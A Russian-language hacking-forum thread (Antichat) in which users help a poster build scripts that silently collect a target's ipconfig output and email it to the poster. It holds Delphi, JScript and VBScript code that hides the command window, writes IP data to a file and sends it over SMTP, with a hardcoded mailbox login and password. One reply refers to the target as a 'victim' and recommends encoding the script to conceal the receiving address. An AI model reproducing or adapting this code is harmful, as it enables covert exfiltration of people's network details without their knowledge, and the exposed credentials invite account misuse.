Форум АНТИЧАТ - ip на мыло

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - ip на мыло (https://forum.antichat.xyz/showthread.php?t=148181)

ip на мыло

помнится был 1 файл .bat для создания в папке Temp ip.txt юзера , и 1 .vbs для отправки на мыло . Если у кого эти файлы ?

IP сонфиг отправляй...

Можно сканпелировать такой кодес:

Код:

procedure GetIp;

 var

   data: TIdMultiPartFormDataStream;

 begin

   data := TIdMultiPartFormDataStream.Create;

   data.AddFormField('param1', 'value1');

   try

   myip:=Form1.IdHTTP1.Post('http://www.whatismyip.com/automation/n09230945.asp', data)+#13#10;

   finally

     data.Free;

   end;



   end;

Код:

procedure TForm1.SendIP;

begin

SMTP.Host:='smtp.mail.ru';

   SMTP.Username:='from@mail.ru';

   SMTP.Password:='mailpassword';

   SMTP.AuthenticationType:=atLogin;

   SMTP.Port:=25;

   with IdMessage do

      begin

      Body.Add('..IP report:..'+#13#10+myip);

        From.Text := 'from@mail.ru';

        Recipients.EMailAddresses := 'to@mail.ru';

        Subject := '..IP report:..'+#13#10+myip;

        end;

      SMTP.Connect;

         try

      SMTP.Send(IdMessage);

         finally

           SMTP.Disconnect;

         end;

end;

нето , мне нужен именно тот исходник

Код:

echo ipconfig >> ip2snd.txt

start jsmail.jse

Код:



jsmail.jse:



var fso=new ActiveXObject("Scripting.FileSystemObject");

function Send(){

try{

var Cm = new ActiveXObject("CDO.Message");

var Cc = new ActiveXObject("CDO.Configuration");

var Fl = Cc.Fields;

Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2;

Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1;

Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = logn;

Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = pass;

Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = serv;

Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25;

Fl.Update();

Cm.Configuration = Cc;

Cm.To = document.Sendm.to.value;

Cm.From = youm; 

Cm.Subject = document.Sendm.subj.value;

Cm.TextBody = document.Sendm.mesg.value + "\n------------------------------------\n.";

if (document.Sendm.namef.value==""){}

else{Cm.AddAttachment(document.Sendm.namef.value);}

Cm.Send();

Cm = null;

Cc = null;

Fl = null;

if (document.Sendm.as.checked) { 

add(document.Sendm.to.value);

}

}catch (e){

if (e.number == -2147220974){

Send();

log(e.description);

}else{

stopErrors(e.description);

}

}

}

Извини лень искать для вб, но на js не так сложно, правда кусок выдран из моей мини hta тулзы, если почистить переменные, то будет работать + в скрипте реализовать надо четние файла - это если без аттача.

нето , чё-то неполучается
нужен код который невыдавая окон создавал ip.txt в temp и vbs который бы отправлял на мыло

vbs - юзая COM подрубаешся в WMI и береш IP
И потом через тотже COM и объект аутглюка отправляеш почту.
И никаких тебе окон. А вообще в служебной инфе о почте и так есть адрес с которобы было принято сообщение.

Код:

Set WshShell = CreateObject("WScript.Shell") 

WshShell.Run "cmd.exe /c ipconfig > C:\ip.txt", 0, false 



WScript.Sleep (5000)



Set S = CreateObject("Wscript.Shell")

set FSO=createobject("scripting.filesystemobject")

Call SendPost("smtp.inbox.ru","ТВОЁ_МЫЛО@mail.ru","xs1vljm@inbox.ru","ИП пришли","Олололололо!111")

Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)

Set iMsg=CreateObject("CDO.Message")

Set iConf=CreateObject("CDO.Configuration")

Set Flds=iConf.Fields

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="xs1vljm"

Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="9e2chklhp"

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.inbox.ru"

Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25

Flds.Update

iMsg.Configuration=iConf

iMsg.To=strTo

iMsg.From=strFrom

iMsg.Subject=strSubject

iMsg.TextBody=strBody

iMsg.AddAttachment "C:\ip.txt"

iMsg.Send

End Function

Set iMsg=Nothing

Set iConf=Nothing

Set Flds=Nothing

спс всем кто помог , в коде ошибка , стоит пробел

Цитата:

Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)

вот содержание 1.bat

Цитата:

ipconfig > C:\ip.txt

как сделать чтоб невыдавал окон ?

Опять же:

Код:

var WSHShell = WScript.CreateObject("WScript.Shell");

WSHShell.Run("%COMSPEC% /c ipconfig >> 1.txt",0);

%COMSPEC% /c

флаг /c обязателен иначе жертва может увидеть нечайно :) непонятные cmd...

+ сам скрипт лучше пропустить через "screnc" т.к. палить свой ящик хоть подставной нехоттся :))

Да и как сказал slesh, dos тут никчему.. js и вб могут брать ip и даж встречающиеся прокси на пути.

P.S. извиняйте пример опять под js.